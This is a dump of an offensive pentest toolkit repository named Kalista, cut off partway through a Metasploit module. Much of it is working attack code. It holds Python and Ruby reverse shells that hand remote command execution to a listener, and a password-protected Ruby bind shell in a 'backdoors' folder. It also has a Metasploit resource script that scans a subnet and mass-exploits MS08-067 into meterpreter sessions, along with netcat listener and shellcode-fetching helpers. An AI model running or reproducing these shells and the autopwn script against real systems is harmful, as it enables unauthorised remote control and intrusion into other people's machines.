├── classes ├── temp │ └── msfassist.rc ├── wifi.rb ├── mitm.rb ├── updater.rb ├── listener.rb ├── snmp.rb └── recon.rb ├── README.md ├── Gemfile ├── extras ├── backdoors │ ├── pi.py │ ├── rubyrev.rb │ └── bind.rb ├── msf │ ├── resource │ │ └── netapi.rc │ ├── modules │ │ └── psexec_keyhives.rb │ ├── tools │ │ └── mpx.rb │ └── meterpreter │ │ ├── swaparoo.rb │ │ └── winrape.rb └── fun │ ├── shell-storm-api.rb │ ├── sploit_suggester.rb │ ├── xdb.rb │ └── unix_enum.rb ├── kalista ├── core ├── core.rb ├── snmp_stalker.rb └── support.rb ├── installer.rb └── README.txt /classes/temp/msfassist.rc: -------------------------------------------------------------------------------- 1 | db_connect -y /opt/metasploit/apps/pro/ui/config/database.yml 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Kalista 2 | ======= 3 | 4 | A Kali Linux Tool to assist with security audits and pentesting. Lots of wrappers for commonly used tools to help extend their usefulness while making a lot of the experience easy on the user. Coming very soon... 5 | -------------------------------------------------------------------------------- /Gemfile: -------------------------------------------------------------------------------- 1 | # This is our bundler Gemfile to help make installation of ruby gem dependencies easier 2 | source 'https://rubygems.org' 3 | 4 | # Everybody likes color, Colorize makes it easy :p 5 | gem 'colorize' 6 | 7 | # Ruby Readline support is needed for pseudo shell and ease of use for UI 8 | gem 'rb-readline' 9 | 10 | # We need SNMP Gem to leverage for its huge MiBs support 11 | gem 'snmp' 12 | 13 | # Text-Table makes some of the formatting of output easier 14 | gem 'text-table' 15 | -------------------------------------------------------------------------------- /extras/backdoors/pi.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # A reverse shell in Python written by my friend Pi 3 | # Because i think its cool :p 4 | 5 | import os, socket, sys 6 | 7 | #Provide geenral usage statement fo rnewbies 8 | def usage(): 9 | print ''' 10 | +----------------------------+ 11 | | scriptname.py IP PORT | 12 | |--------e-x-a-m-p-l-e-------| 13 | | script.py 192.168.1.2 9999 | 14 | +----------------------------+''',exit() 15 | 16 | #Put down an interupt catcher 17 | def signalHandler(signal, frame): 18 | print("[!] CTRL+C received [!] shutting down now..."); 19 | sys.exit() 20 | 21 | 22 | if len(sys.argv) < 3:usage() 23 | 24 | #Establish our throw back using IP and PORT passed at run time 25 | s=socket.socket() 26 | s.connect((sys.argv[1],int(sys.argv[2]))) 27 | #Print pretty banner upon connect in 28 | 29 | s.send(''' 30 | __ 31 | ___ ___ _ _ ___ | | 32 | ___| | | |_ ___ _| | |_ _ _ ___| | 33 | | _| | | | | _|___| . | | | | | | |__| 34 | |_| |___|___|_| |___|___|_____|_|_|__| 35 | 36 | A Python Reverse Shell By: Pi 37 | 38 | 39 | Type "exit" to exit the shell\n[r00t-d0wn]cmd>''') 40 | 41 | while 1: 42 | data = s.recv(512) 43 | if data.lower()=="q": 44 | s.close() 45 | break; 46 | else: 47 | if data.startswith('exit'): 48 | s.close() 49 | break; 50 | else: 51 | result=os.popen(data).read() 52 | if (data.lower() != "q"): 53 | s.send(str(result)+"[r00t-d0wn]cmd>") 54 | else: 55 | s.send(str(result)) 56 | s.close() 57 | break; 58 | exit() 59 | -------------------------------------------------------------------------------- /classes/wifi.rb: -------------------------------------------------------------------------------- 1 | # This is our WiFi Class 2 | # This should house anything related to WiFi Scanning & Hacking 3 | # If you add, just update the usage and w_shell function to make available 4 | 5 | class WiFiSploit 6 | def show_wifi_usage 7 | puts "List of available commands and general description".light_yellow + ": ".white 8 | puts "\tcls".light_yellow + " => ".white + "Clear Screen".light_yellow 9 | puts "\thelp ".light_yellow + " => ".white + "Display this Help Menu".light_yellow 10 | puts "\tback ".light_yellow + " => ".white + "Return to Main Menu".light_yellow 11 | puts "\texit ".light_yellow + " => ".white + "Exit Completely".light_yellow 12 | print_line("") 13 | print_error("") 14 | print_error("WiFi Section is still in the works, sorry....") 15 | print_error("Chat/Contribute: hood3drob1n@gmail.com") 16 | print_error("") 17 | end 18 | 19 | def w_shell 20 | prompt = "(WiFi)> " 21 | while line = Readline.readline("#{prompt}", true) 22 | cmd = line.chomp 23 | case cmd 24 | when /^clear|^cls|^banner/i 25 | cls 26 | banner 27 | w_shell 28 | when /^help|^h$|^ls$/i 29 | show_wifi_usage 30 | w_shell 31 | when /^exit|^quit/i 32 | print_line("") 33 | print_error("OK, exiting Kalista....") 34 | print_line("") 35 | exit 69; 36 | when /^back|^main/i 37 | print_line("") 38 | print_error("OK, back to the Main Menu....") 39 | print_line("") 40 | $framework.core_shell 41 | else 42 | cls 43 | print_line("") 44 | print_error("Oops, Didn't quite understand that one") 45 | print_error("Please Choose a Valid Option From Menu Below Next Time.....") 46 | print_line("") 47 | show_wifi_usage 48 | w_shell 49 | end 50 | end 51 | end 52 | end 53 | -------------------------------------------------------------------------------- /classes/mitm.rb: -------------------------------------------------------------------------------- 1 | # This is our Middler or Man In The Middle (MiTM) Class 2 | # This should house anything related to MiTM Type Attacks (LAN focus) 3 | # If you add, just update the usage and m_shell function to make available 4 | 5 | class TMiddler 6 | def show_mitm_usage 7 | puts "List of available commands and general description".light_yellow + ": ".white 8 | puts "\tcls".light_yellow + " => ".white + "Clear Screen".light_yellow 9 | puts "\thelp ".light_yellow + " => ".white + "Display this Help Menu".light_yellow 10 | puts "\tback ".light_yellow + " => ".white + "Return to Main Menu".light_yellow 11 | puts "\texit ".light_yellow + " => ".white + "Exit Completely".light_yellow 12 | print_line("") 13 | print_error("") 14 | print_error("MiTM Section is still in the works, sorry....") 15 | print_error("Chat/Contribute: hood3drob1n@gmail.com") 16 | print_error("") 17 | end 18 | 19 | def m_shell 20 | prompt = "(MiTM)> " 21 | while line = Readline.readline("#{prompt}", true) 22 | cmd = line.chomp 23 | case cmd 24 | when /^clear|^cls|^banner/i 25 | cls 26 | banner 27 | m_shell 28 | when /^help|^h$|^ls$/i 29 | show_mitm_usage 30 | m_shell 31 | when /^exit|^quit/i 32 | print_line("") 33 | print_error("OK, exiting Kalista....") 34 | print_line("") 35 | exit 69; 36 | when /^back|^main/i 37 | print_line("") 38 | print_error("OK, back to the Main Menu....") 39 | print_line("") 40 | $framework.core_shell 41 | else 42 | cls 43 | print_line("") 44 | print_error("Oops, Didn't quite understand that one") 45 | print_error("Please Choose a Valid Option From Menu Below Next Time.....") 46 | print_line("") 47 | show_mitm_usage 48 | m_shell 49 | end 50 | end 51 | end 52 | end 53 | -------------------------------------------------------------------------------- /classes/updater.rb: -------------------------------------------------------------------------------- 1 | # This is our Updater Class 2 | # This should house anything related to Updating the tool itself or anything used within it 3 | # If you add, just update the usage and u_shell function to make available 4 | 5 | class Updater 6 | def show_update_usage 7 | puts "List of available commands and general description".light_yellow + ": ".white 8 | puts "\tcls".light_yellow + " => ".white + "Clear Screen".light_yellow 9 | puts "\thelp ".light_yellow + " => ".white + "Display this Help Menu".light_yellow 10 | puts "\tback ".light_yellow + " => ".white + "Return to Main Menu".light_yellow 11 | puts "\texit ".light_yellow + " => ".white + "Exit Completely".light_yellow 12 | print_line("") 13 | puts "\tmsf ".light_yellow + " => ".white + "Update Metasploit Framework".light_yellow 14 | print_line("") 15 | end 16 | 17 | def u_shell 18 | prompt = "(Update)> " 19 | while line = Readline.readline("#{prompt}", true) 20 | cmd = line.chomp 21 | case cmd 22 | when /^clear|^cls|^banner/i 23 | cls 24 | banner 25 | u_shell 26 | when /^help|^h$|^ls$/i 27 | show_update_usage 28 | u_shell 29 | when /^exit|^quit/i 30 | print_line("") 31 | print_error("OK, exiting Kalista....") 32 | print_line("") 33 | exit 69; 34 | when /^back|^main/i 35 | print_line("") 36 | print_error("OK, back to the Main Menu....") 37 | print_line("") 38 | $framework.core_shell 39 | when /^msf|^metasploit/i 40 | msf_updater 41 | u_shell 42 | else 43 | cls 44 | print_line("") 45 | print_error("Oops, Didn't quite understand that one") 46 | print_error("Please Choose a Valid Option From Menu Below Next Time.....") 47 | print_line("") 48 | show_updates_usage 49 | u_shell 50 | end 51 | end 52 | end 53 | 54 | # Metasploit Framework Updater 55 | def msf_updater 56 | print_status("Launching Metasploit Updater, hang tight......") 57 | system("#{MSFPATH}/msfupdate 2> /dev/null") 58 | print_status("") 59 | print_status("OK, should be all set now!") 60 | print_status("") 61 | print_caution("Press ENTER to Continue......") 62 | fuqoff=gets 63 | end 64 | end 65 | -------------------------------------------------------------------------------- /extras/msf/resource/netapi.rc: -------------------------------------------------------------------------------- 1 | # NetApi ms08_067 Quick & Dirty Network Attack 2 | # 3 | 4 | ############# EDIT THIS ########### 5 | targetz = '10.10.20.0-255' ## 6 | lhostz = '10.10.5.112' ## 7 | ################################### 8 | 9 | print_status("Running NetApi Network Autopwn....") 10 | 11 | #Create new workspace and destroy if it already exists 12 | pwn='netapi_pwn' 13 | workspace = framework.db.find_workspace(pwn) 14 | if workspace != nil 15 | workspace.destroy 16 | workspace = framework.db.add_workspace(pwn) 17 | print_status("Creating New Workspace: #{pwn}") 18 | else 19 | workspace = framework.db.add_workspace(pwn) 20 | end 21 | #jump into our new workspace 22 | run_single("workspace #{pwn}") 23 | 24 | #Setup Persistent Listener to Catch All the Shells we can throw at it 25 | print_status("Setting up Permanent Listener.....") 26 | print_status("Payload: windows/meterpreter/reverse_tcp") 27 | print_status("Listner Port: 6969") 28 | 29 | run_single("use exploit/multi/handler") 30 | run_single("setg payload windows/meterpreter/reverse_tcp") 31 | run_single("set LPORT 6969") 32 | run_single("setg LHOST #{lhostz}") 33 | run_single("set ExitOnSession false") 34 | run_single("exploit -j -z") 35 | 36 | #Scan with db_nmap to store results in MSF database 37 | print_status("Running NMAP Discovery Scan on #{targetz}.....") 38 | run_single("db_nmap -A -PN -p 445 --script=smb-check-vulns #{targetz}") 39 | 40 | #Search results and find potential targets to run netapi attack against 41 | print_status("Sorting NMAP results into potential targets list.....") 42 | targets=[] 43 | framework.db.services.each { |db_services| if (db_services.port == 445) and (db_services.name == "microsoft-ds") then framework.db.hosts.each { |ip| if ip.id == db_services.host.id then targets << ip['address'] end } end } 44 | print_status("Potential Targets: #{targets.size}") 45 | 46 | #Enumerate list of potentials and run exploit 47 | run_single("use exploit/windows/smb/ms08_067_netapi") 48 | run_single("set DisablePayloadHandler true") 49 | targets.each do |host| 50 | print_status("Running Exploit as Job Against: #{host}") 51 | run_single("set RHOST #{host}") 52 | run_single("exploit -j -z") 53 | end 54 | 55 | -------------------------------------------------------------------------------- /extras/backdoors/rubyrev.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # Ruby Reverse Shell 3 | # By: Hood3dRob1n 4 | # 5 | # ./rubyrev.rb IP PORT 6 | # 7 | 8 | require 'socket' 9 | require 'open3' 10 | 11 | #Add some color without colorize gem since we sticking to std libs :) 12 | RS="\033[0m" # reset 13 | HC="\033[1m" # hicolor 14 | FRED="\033[31m" # foreground red 15 | FGRN="\033[32m" # foreground green 16 | FWHT="\033[37m" # foreground white 17 | 18 | trap("SIGINT") {puts "\n\n#{HC}#{FRED}WARNING! CTRL+C Detected closing Socket connection#{FWHT}.....#{RS}"; exit 666;} 19 | 20 | begin 21 | socket = TCPSocket.new "#{ARGV[0]}", "#{ARGV[1]}" #establish socket connection object using provided IP & PORT 22 | rescue 23 | #If we fail to connect, wait a few and try again or user cancles shit 24 | sleep 10 25 | retry 26 | end 27 | 28 | #Runs the commands you type and sends you back the stdout and stderr. 29 | #Shell Action... 30 | begin 31 | socket.puts "#{HC}#{FGRN}This Reverse connection brought to you by a little Ruby Magic#{FWHT} xD#{RS}\n\n" 32 | socket.puts "#{HC}#{FGRN}Server Info#{FWHT}:#{RS}" 33 | count=0 34 | #First we scrape some basic info.... 35 | if RUBY_PLATFORM =~ /win32/ 36 | while count.to_i < 3 37 | if count.to_i == 0 38 | command="whoami" 39 | socket.print "#{HC}#{FGRN}ID#{FWHT}: #{RS}" 40 | elsif count.to_i == 1 41 | command="chdir" 42 | socket.print "#{HC}#{FGRN}PWD#{FWHT}: #{RS}" 43 | elsif count.to_i == 2 44 | command="echo Winblows" 45 | socket.print "#{HC}#{FGRN}BUILD#{FWHT}: #{RS}\n" 46 | end 47 | count += 1 48 | #Use open3 to execute commands as we read and write through socket connection 49 | Open3.popen2e("#{command}") do | stdin, stdothers | 50 | IO.copy_stream(stdothers, socket) 51 | end 52 | end 53 | else 54 | while count.to_i < 3 55 | if count.to_i == 0 56 | command="id" 57 | socket.print "#{HC}#{FGRN}ID#{FWHT}: #{RS}" 58 | elsif count.to_i == 1 59 | command="pwd" 60 | socket.print "#{HC}#{FGRN}PWD#{FWHT}: #{RS}" 61 | elsif count.to_i == 2 62 | command="uname -a" 63 | socket.print "#{HC}#{FGRN}BUILD#{FWHT}: #{RS}\n" 64 | end 65 | count += 1 66 | #Use open3 to execute commands as we read and write through socket connection 67 | Open3.popen2e("#{command}") do | stdin, stdothers | 68 | IO.copy_stream(stdothers, socket) 69 | end 70 | end 71 | end 72 | #Then we drop to sudo shell :) 73 | @work=Dir.pwd #var for keeping a working path so 'cd' works (for the most part) 74 | while(true) 75 | socket.print "\n#{HC}#{FWHT}(#{FGRN}GreenShell#{FWHT})#{FGRN}>#{RS}" 76 | command = socket.gets.chomp 77 | if command.downcase == 'exit' or command.downcase == 'quit' 78 | socket.puts "\n#{HC}#{FGRN}got r00t#{FWHT}?#{RS}\n\n" 79 | break #Exit when asked nicely :p 80 | end 81 | if command.downcase =~ /cd (.+)/i #our mini block to handle change directory requests 82 | Dir.chdir("#{$1}") do |dir| 83 | @work = Dir.pwd 84 | end 85 | end 86 | #Use open3 to execute commands as we read and write through socket connection 87 | Open3.popen2e("cd #{@work} && #{command}") do | stdin, stdothers | 88 | IO.copy_stream(stdothers, socket) 89 | end 90 | end 91 | rescue 92 | #If we fail for some reason, try again 93 | retry 94 | end 95 | #EOF 96 | -------------------------------------------------------------------------------- /classes/listener.rb: -------------------------------------------------------------------------------- 1 | # This is our Listener Class 2 | # I made it into a bit of a all in one wizard walk through setup 3 | # It's easy enough to navigate and doesnt take but a second to do 4 | # Re-write it if you don't like it :p 5 | 6 | class Listener 7 | # MSF Multi/Handler & Generic Ncat/NetCat Connection Setup 8 | def listener_builder 9 | print_status("") 10 | print_status("Welcome to the Listener & Exploit Multi Handler Assistant") 11 | print_status("") 12 | payload = payload_selector(1) # 1=Listerner Mode, 2-Exploit Mode, 3=Payload Builder # 13 | rcfile="#{$temp}msfassist.rc" 14 | f=File.open(rcfile, 'w') 15 | f.puts "db_connect #{MSFDBCREDS}" 16 | if payload =~ /bind/ 17 | print_caution("Please provide IP for Bind Shell: ") 18 | zIP=gets.chomp 19 | 20 | print_caution("Please provide PORT for Bind Shell: ") 21 | zPORT=gets.chomp 22 | if not payload == 'generic/bind_shell' 23 | print_status("Launching MSF Exploit/Multi/Handler Connection for #{payload} Binded to #{zIP} on Port #{zPORT} in a new x-window.....") 24 | f.puts 'use exploit/multi/handler' 25 | f.puts "set PAYLOAD #{payload}" 26 | f.puts "set RHOST #{zIP}" 27 | f.puts 'set LHOST 0.0.0.0' 28 | f.puts "set LPORT #{zPORT}" 29 | f.puts 'set ExitOnSession false' 30 | if payload =~ /meterpeter/ 31 | f.puts 'set AutoRunScript migrate -f' 32 | end 33 | f.puts 'exploit -j -z' 34 | f.close 35 | givemeshell="xterm -title 'MSF Multi-Handler' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\"" 36 | else 37 | print_status("Generic Bind Shell Selected!") 38 | while(true) 39 | print_caution("Select how to connect: ") 40 | print_caution("1) Ncat") 41 | print_caution("2) NetCat") 42 | answer=gets.chomp 43 | if answer.to_i == 1 44 | givemeshell="xterm -title 'Ncat Connection' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c 'ncat -v #{zIP} #{zPORT}'\"" 45 | print_status("Launching Ncat Connection to Binded Shell at #{zIP} on Port #{zPORT} in new x-window......") 46 | break 47 | elsif answer.to_i == 2 48 | givemeshell="xterm -title 'NetCat Connection' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c 'nc -v #{zIP} #{zPORT}'\"" 49 | print_status("Launching NetCat Connection to Binded Shell at #{zIP} on Port #{zPORT} in new x-window......") 50 | break 51 | else 52 | print_error("") 53 | print_error("Please Enter a Valid Option!") 54 | print_error("") 55 | end 56 | end 57 | end 58 | else #Its a reverse shell.... 59 | print_caution("Please provide PORT to listen on: ") 60 | zPORT=gets.chomp 61 | if not payload == 'generic/reverse_shell' 62 | print_status("Launching MSF Exploit/Multi/Handler Listener for #{payload} on Port #{zPORT} in a new x-window.....") 63 | f.puts 'use exploit/multi/handler' 64 | f.puts "set PAYLOAD #{payload}" 65 | f.puts 'set LHOST 0.0.0.0' 66 | f.puts "set LPORT #{zPORT}" 67 | f.puts 'set ExitOnSession false' 68 | if payload =~ /meterpeter/ 69 | f.puts 'set AutoRunScript migrate -f' 70 | end 71 | if payload =~ /vncinject/ 72 | f.puts 'set DisableCourtesyShell true' 73 | end 74 | f.puts 'exploit -j -z' 75 | f.close 76 | givemeshell="xterm -title 'MSF Multi-Handler' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\"" 77 | else 78 | print_status("Generic Reverse Shell Selected!") 79 | while(true) 80 | print_caution("Select how to catch: ") 81 | print_caution("1) Ncat") 82 | print_caution("2) NetCat") 83 | answer=gets.chomp 84 | if answer.to_i == 1 85 | givemeshell="xterm -title 'Ncat Listener' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c 'ncat -lv #{zPORT}'\"" 86 | print_status("Launching Ncat Listener on Port #{zPORT} in new x-window......") 87 | break 88 | elsif answer.to_i == 2 89 | givemeshell="xterm -title 'NetCat Listener' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c 'nc -l -v -p #{zPORT}'\"" 90 | print_status("Launching NetCat Listener on Port #{zPORT} in new x-window......") 91 | break 92 | else 93 | print_error("") 94 | print_error("Please Enter a Valid Option!") 95 | print_error("") 96 | end 97 | end 98 | end 99 | end 100 | #Spawn our listener in a separate terminal cause its nicer that way!!!!! 101 | fireNforget(givemeshell) 102 | print_line("") 103 | end 104 | end 105 | -------------------------------------------------------------------------------- /extras/fun/shell-storm-api.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # 3 | # Ruby Shell-Storm API 4 | # By: Hood3dRob1n 5 | # 6 | # Source: http://pastebin.com/wQRYCSxK 7 | # 8 | # Search and display all shellcodes in shell-storm database 9 | # I just wanted to make my own version in Ruby for fun :p 10 | # Many Thanks to Jonathan Salwan for his hard work and great site! 11 | # 12 | # Usage: 13 | # ./shell-storm-api.rb --search 14 | # ./shell-storm-api.rb --display 15 | # 16 | ###### STD GEMS ###### 17 | require 'net/http' # 18 | require 'optparse' # 19 | #### NON-STD GEMS #### 20 | require 'rubygems' # 21 | require 'text-table' # 22 | ###################### 23 | # 24 | #Add some color without extra gems 25 | RS="\033[0m" # reset 26 | HC="\033[1m" # hicolor 27 | FRED="\033[31m" # foreground red 28 | FGRN="\033[32m" # foreground green 29 | FWHT="\033[37m" # foreground white 30 | FCYN="\033[36m" # foreground cyan 31 | # 32 | # Catch System Interupts 33 | trap("SIGINT") { puts "#{HC}#{FRED}\n\nWARNING#{FWHT}!#{FRED} CTRL#{FWHT}+#{FRED}C Detected#{FWHT} => #{FRED}Closing Down#{FWHT}....#{RS}"; exit 666; } 34 | # 35 | # Clear Terminal 36 | def cls 37 | if RUBY_PLATFORM =~ /win32/ 38 | system('cls') 39 | else 40 | system('clear') 41 | end 42 | end 43 | # 44 | # Simple Banner 45 | def banner 46 | puts 47 | puts "#{HC}#{FGRN}Shell-Storm Ruby API" 48 | puts "By#{FWHT}: Hood3dRob1n#{RS}" 49 | puts 50 | end 51 | # 52 | # Run Search & Display Results in Table 53 | # Search is run in against all lowercase on server side 54 | # Need to .downcase our search before sending or results fail! 55 | def scsearch(squery) 56 | http = Net::HTTP.new("shell-storm.org", 80) 57 | req = Net::HTTP::Get.new("/api/?s=#{squery.downcase}", {'User-Agent' => 'Shell-Storm Ruby API - Search'}) 58 | res = http.request(req) 59 | case res 60 | when Net::HTTPSuccess then 61 | t=[ [ "Author", 'Platform', 'Description', 'ID' ] ] 62 | res.body.split("\n").each do |entry| 63 | show = entry.split("::::") 64 | t << [ "#{show[0]}", "#{show[1]}", "#{show[2]}", "#{show[3]}" ] 65 | end 66 | table = t.to_table(:first_row_is_head => true) 67 | puts "#{HC}#{FGRN}" + table.to_s + "#{RS}" 68 | else 69 | puts "#{HC}#{FRED}Seems we made a bad request somehow#{FWHT}....#{RS}" 70 | puts res.value 71 | end 72 | end 73 | # 74 | # Display Shell Code by ID 75 | def scdisplay(id) 76 | http = Net::HTTP.new("shell-storm.org", 80) 77 | req = Net::HTTP::Get.new("/shellcode/files/shellcode-#{id}.php", {'User-Agent' => 'Shell-Storm Ruby API - Display'}) 78 | res = http.request(req) 79 | case res 80 | when Net::HTTPSuccess then 81 | puts "#{HC}#{FGRN}[#{FWHT}*#{FGRN}] Displaying#{FWHT}: http://shell-storm.org/shellcode/files/shellcode-#{id}.php#{FCYN}" 82 | puts res.body.split("\n")[7..-13].join("\n").gsub('"', '"').gsub('>', '>').gsub('<', '<').gsub('&', '&') 83 | puts "#{RS}" 84 | else 85 | puts "#{HC}#{FRED}Seems we made a bad request somehow#{FWHT}....#{RS}" 86 | puts res.value 87 | end 88 | end 89 | # Parse User Options & Arguments and Run Accordingly... 90 | options = {} 91 | optparse = OptionParser.new do |opts| 92 | opts.banner = "#{HC}#{FGRN}Usage#{FWHT}: #{$0} #{FGRN}[ #{FWHT}OPTIONS #{FGRN}] [ #{FWHT}ARGS #{FGRN}]" 93 | opts.separator "" 94 | opts.separator "EX#{FWHT}: #{$0} --search arm#{FGRN}" 95 | opts.separator "EX#{FWHT}: #{$0} --display 660#{FGRN}" 96 | opts.separator "" 97 | opts.separator "Options#{FWHT}: #{RS}" 98 | opts.on('-S', '--search TERM', "#{HC}#{FWHT}\n\tSearch Term to check against Shell-Storm#{RS}") do |squery| 99 | options[:method] = 1 100 | options[:search] = squery.chomp 101 | end 102 | opts.on('-D', '--display ID', "#{HC}#{FWHT}\n\tDisplay Shell Code for ID#{RS}") do |code_id| 103 | options[:method] = 2 104 | options[:display] = code_id 105 | end 106 | opts.on('-h', '--help', "#{HC}#{FWHT}\n\tHelp Menu#{RS}") do 107 | cls 108 | banner 109 | puts opts 110 | puts 111 | exit 69 112 | end 113 | end 114 | begin 115 | foo = ARGV[0] || ARGV[0] = "-h" 116 | optparse.parse! 117 | mandatory = [:method] 118 | missing = mandatory.select{ |param| options[param].nil? } 119 | if not missing.empty? 120 | puts "#{HC}#{FRED}Missing option(s)#{FWHT}: #{missing.join(', ')}#{RS}" 121 | puts optparse 122 | exit 123 | end 124 | rescue OptionParser::InvalidOption, OptionParser::MissingArgument 125 | cls 126 | banner 127 | puts "#{HC}#{FRED}#{$!.to_s}#{RS}" 128 | puts optparse 129 | puts 130 | exit 666; 131 | end 132 | banner 133 | if options[:method].to_i == 1 134 | scsearch(options[:search]) 135 | else 136 | scdisplay(options[:display]) 137 | end 138 | -------------------------------------------------------------------------------- /extras/backdoors/bind.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # Ruby Bind Shell 3 | # By: Hood3dRob1n 4 | # 5 | # ./bind.rb PORT (PASS) 6 | # 7 | require 'socket' 8 | require 'open3' 9 | 10 | #Add some color without colorize gem since we sticking to std libs :) 11 | RS="\033[0m" # reset 12 | HC="\033[1m" # hicolor 13 | FRED="\033[31m" # foreground red 14 | FGRN="\033[32m" # foreground green 15 | FWHT="\033[37m" # foreground white 16 | 17 | def cls #A quick method to clear the whole terminal 18 | if RUBY_PLATFORM =~ /win32/ 19 | system('cls') 20 | else 21 | system('clear') 22 | end 23 | end 24 | 25 | def randz 26 | (0...1).map{ ('0'..'3').to_a[rand(4)] }.join 27 | end 28 | 29 | def help(message) #Exit strategy when shit goes sideways 30 | cls 31 | puts 32 | puts "#{message}" #print message passed when called 33 | #print example of usage sicne they obviously dont understand how this simple script works :p 34 | puts "#{HC}#{FGRN}EX#{FWHT}: #{$0} PORT #{FRED}(#{FWHT}PASS#{FRED})#{RS}" 35 | puts "#{HC}#{FGRN}\t=> #{FWHT}Default Pass is '#{FGRN}knock-knock#{FWHT}' if none is provided#{RS}" 36 | puts 37 | exit 666; 38 | end 39 | 40 | def bindshell 41 | #The number over loop is the port number the shell listens on. 42 | Socket.tcp_server_loop("#{PORT}") do |socket, client_addrinfo| 43 | command = socket.gets.chomp 44 | if command.downcase == "#{PASS}" 45 | socket.puts "\n#{HC}#{FGRN}You've Been Authenticated#{FWHT}!#{RS}\n" 46 | socket.puts "#{HC}#{FGRN}This Bind connection brought to you by a little Ruby Magic#{FWHT} xD#{RS}\n" 47 | socket.puts "#{HC}#{FGRN}Type #{FWHT}EXIT#{FGRN} or #{FWHT}QUIT#{FGRN} to temporarily leave shell & keep port open listening#{FWHT}...#{RS}" 48 | socket.puts "#{HC}#{FGRN}Type #{FWHT}KILLZ#{FGRN} or #{FWHT}CLOSE#{FGRN} to close port & shell for good#{FWHT}!\n#{RS}" 49 | socket.puts "#{HC}#{FGRN}Server Info#{FWHT}:#{RS}" 50 | begin 51 | count=0 52 | if RUBY_PLATFORM =~ /win32/ #First we scrape some basic info based on platform type.... 53 | while count.to_i < 3 54 | if count.to_i == 0 55 | command="whoami" 56 | socket.print "#{HC}#{FGRN}ID#{FWHT}: #{RS}" 57 | elsif count.to_i == 1 58 | command="chdir" 59 | socket.print "#{HC}#{FGRN}PWD#{FWHT}: #{RS}" 60 | elsif count.to_i == 2 61 | command="echo Winblows" 62 | socket.print "#{HC}#{FGRN}BUILD#{FWHT}: #{RS}\n" 63 | end 64 | count += 1 65 | Open3.popen2e("#{command}") do | stdin, stdothers | 66 | IO.copy_stream(stdothers, socket) 67 | end 68 | end 69 | else 70 | while count.to_i < 3 71 | if count.to_i == 0 72 | command="id" 73 | socket.print "#{HC}#{FGRN}ID#{FWHT}: #{RS}" 74 | elsif count.to_i == 1 75 | command="pwd" 76 | socket.print "#{HC}#{FGRN}PWD#{FWHT}: #{RS}" 77 | elsif count.to_i == 2 78 | command="uname -a" 79 | socket.print "#{HC}#{FGRN}BUILD#{FWHT}: #{RS}\n" 80 | end 81 | count += 1 82 | Open3.popen2e("#{command}") do | stdin, stdothers | 83 | IO.copy_stream(stdothers, socket) 84 | end 85 | end 86 | end 87 | #Then we drop to sudo shell :) 88 | @work=Dir.pwd #var for keeping a working path so 'cd' works (for the most part) 89 | while(true) 90 | socket.print "\n#{HC}#{FWHT}(#{FGRN}GreenShell#{FWHT})#{FGRN}>#{RS}" 91 | command = socket.gets.chomp 92 | if command.downcase == 'exit' or command.downcase == 'quit' 93 | socket.puts "\n#{HC}#{FGRN}got r00t#{FWHT}?#{RS}\n\n" 94 | break #Exit when asked nicely :p 95 | end 96 | if command.downcase == 'killz' or command.downcase == 'close' 97 | socket.puts "\n#{HC}#{FGRN}got r00t#{FWHT}?#{RS}\n\n" 98 | exit #Exit when asked nicely :p 99 | end 100 | if command.downcase =~ /cd (.+)/i #our mini block to handle change directory requests 101 | Dir.chdir("#{$1}") do |dir| 102 | @work = Dir.pwd 103 | end 104 | end 105 | #Use open3 to execute commands as we read and write through socket connection 106 | Open3.popen2e("cd #{@work} && #{command}") do | stdin, stdothers | 107 | IO.copy_stream(stdothers, socket) 108 | end 109 | end 110 | rescue 111 | socket.write "#{HC}#{FRED}Command or file not found#{FWHT}!\n#{RS}" 112 | socket.write "#{HC}#{FRED}Type #{FWHT}EXIT#{FRED} or #{FWHT}QUIT#{FRED} to exit the shell#{FWHT}.\n#{RS}" 113 | socket.write "#{HC}#{FRED}Type #{FWHT}KILL#{FRED} or #{FWHT}CLOSE#{FRED} to kill the shell completely#{FWHT}.\n#{RS}" 114 | socket.write "\n\n" 115 | retry 116 | ensure 117 | @cleared=0 118 | socket.close 119 | end 120 | else 121 | num=randz 122 | socket.puts @greetz[num.to_i] 123 | end 124 | end 125 | end 126 | 127 | PORT = ARGV[0] || help("#{HC}#{FRED}Please re-run script with necessary options provided as argument(s)#{FWHT}!#{RS}") #confirm argument passed 128 | PASS = ARGV[1] || "knock-knock" ### THIS IS PASSWORD TO ENTER UPON CONNECTION, PASS as ARGUMENT AFTER PORT OR HARD-CODE IT HERE ### 129 | trap("SIGINT") {puts "\n\n#{HC}#{FRED}WARNING! CTRL+C Detected closing Socket Port#{FWHT}.....#{RS}"; exit 666;} 130 | @greetz=["#{HC}#{FGRN}Piss Off#{FWHT}!#{RS}", "#{HC}#{FGRN}Grumble, Grumble#{FWHT}......#{FGRN}?#{RS}", "#{HC}#{FGRN}Run along now, nothing to see here#{FWHT}.....#{RS}", "#{HC}#{FGRN}Who's There#{FWHT}?#{RS}"] 131 | bindshell 132 | -------------------------------------------------------------------------------- /extras/msf/modules/psexec_keyhives.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This file is part of the Metasploit Framework and may be subject to 3 | # redistribution and commercial restrictions. Please see the Metasploit 4 | # web site for more information on licensing and terms of use. 5 | # http://metasploit.com/ 6 | ## 7 | 8 | require 'msf/core' 9 | 10 | class Metasploit3 < Msf::Auxiliary 11 | 12 | # Exploit mixins should be called first 13 | include Msf::Exploit::Remote::DCERPC 14 | include Msf::Exploit::Remote::SMB 15 | include Msf::Exploit::Remote::SMB::Psexec 16 | include Msf::Exploit::Remote::SMB::Authenticated 17 | include 